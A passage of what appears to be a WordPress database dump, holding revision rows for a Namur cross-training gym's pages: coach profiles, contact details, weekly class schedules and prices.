5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-10 15:47:02', '2013-07-10 15:47:02', '', 20, 'http://www.crosstrainingcenter.be/20-revision-36/', 0, 'revision', '', 0),
(337, 1, '2013-07-11 07:03:58', '2013-07-11 07:03:58', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-11 07:03:58', '2013-07-11 07:03:58', '', 9, 'http://www.crosstrainingcenter.be/9-revision-20/', 0, 'revision', '', 0),
(339, 1, '2013-07-25 16:36:46', '2013-07-25 16:36:46', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-25 16:36:46', '2013-07-25 16:36:46', '', 11, 'http://www.crosstrainingcenter.be/11-revision-114/', 0, 'revision', '', 0);
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(344, 1, '2013-08-23 08:46:17', '2013-08-23 08:46:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-08-23 08:46:17', '2013-08-23 08:46:17', '', 11, 'http://www.crosstrainingcenter.be/11-revision-115/', 0, 'revision', '', 0),
(346, 1, '2013-10-05 08:39:04', '2013-10-05 08:39:04', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h30&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 